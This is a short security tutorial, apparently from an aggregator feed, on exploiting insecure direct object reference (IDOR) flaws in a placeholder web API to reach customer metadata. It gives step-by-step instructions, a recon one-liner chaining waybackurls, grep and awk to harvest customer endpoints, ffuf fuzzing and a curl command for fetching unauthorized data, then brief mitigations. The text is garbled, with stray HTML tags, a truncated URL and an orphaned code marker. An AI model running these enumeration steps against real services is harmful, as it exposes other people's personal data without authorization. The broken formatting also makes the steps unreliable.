Exploiting IDOR Vulnerabilities in Web3 Applications

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Pre-requirements:

  1. Target: `http://api.target.web`

    2. Log in to the target.

    3. Change the profile picture (PP).

    4. Right-click the updated PP and open it in a new tab.
    5. The URL may look like: `http://api.target.web/customers/avatar?

    ` </li>
</ol>

<h2 style="color: yellow;">6. Remove `avatar?[bash]` to access customer metadata.</h2>

<h2 style="color: yellow;">7. Critical one-liner command:</h2>

[bash]
echo "http://api.target.web/customers/" | waybackurls | tee -a targetweb_idor_critical.txt; cat targetweb_idor_critical.txt | grep "/customers" | tee -a customers_idors.txt; cat customers_idors.txt | awk -F "/avatar" '{print $1}' | uniq | tee -a uniq_customers_idor.txt

    You Should Know:

    1. Understanding IDOR (Insecure Direct Object Reference)

    IDOR occurs when an application exposes internal objects (e.g., user data) without proper authorization checks.

    2. Manual Exploitation Steps

    • Step 1: Identify an endpoint that retrieves user data (e.g., /customers/123).
    • Step 2: Modify the object reference (e.g., /customers/124).
    • Step 3: Check if unauthorized access is granted.

    3. Automated Recon with Waybackurls & FFUF

     Fetch historical URLs 
waybackurls http://api.target.web | grep "/customers/" > customers_endpoints.txt

Fuzz for valid IDs 
ffuf -w customers_endpoints.txt -u "http://api.target.web/FUZZ" -mc 200

    4. Extracting Metadata via API Manipulation

     Using curl to fetch unauthorized data 
curl -s "http://api.target.web/customers/" | jq .

    5. Mitigation Techniques

    • Implement proper access controls (JWT, OAuth).
    • Use UUIDs instead of sequential IDs.
    • Apply rate limiting and logging.

    What Undercode Say:

    IDOR remains a critical flaw in Web3 and traditional web apps due to weak access controls. Automated tools like waybackurls, ffuf, and `curl` help uncover these flaws efficiently. Developers must enforce strict authorization checks to prevent data leaks.

    Expected Output:

    – `targetweb_idor_critical.txt` – Wayback machine results.
    – `customers_idors.txt` – Filtered customer endpoints.
    – `uniq_customers_idor.txt` – Unique IDOR-vulnerable paths.

    Prediction:

    As Web3 adoption grows, IDOR vulnerabilities will increase due to decentralized access control flaws. Automated scanners will evolve to detect these issues in smart contracts and APIs.

    Relevant URLs:

    IT/Security Reporter URL:

    Reported By: Sans1986 Hijrahtoweb3 – Hackers Feeds
    Extra Hub: Undercode MoN
    Basic Verification: Pass ✅

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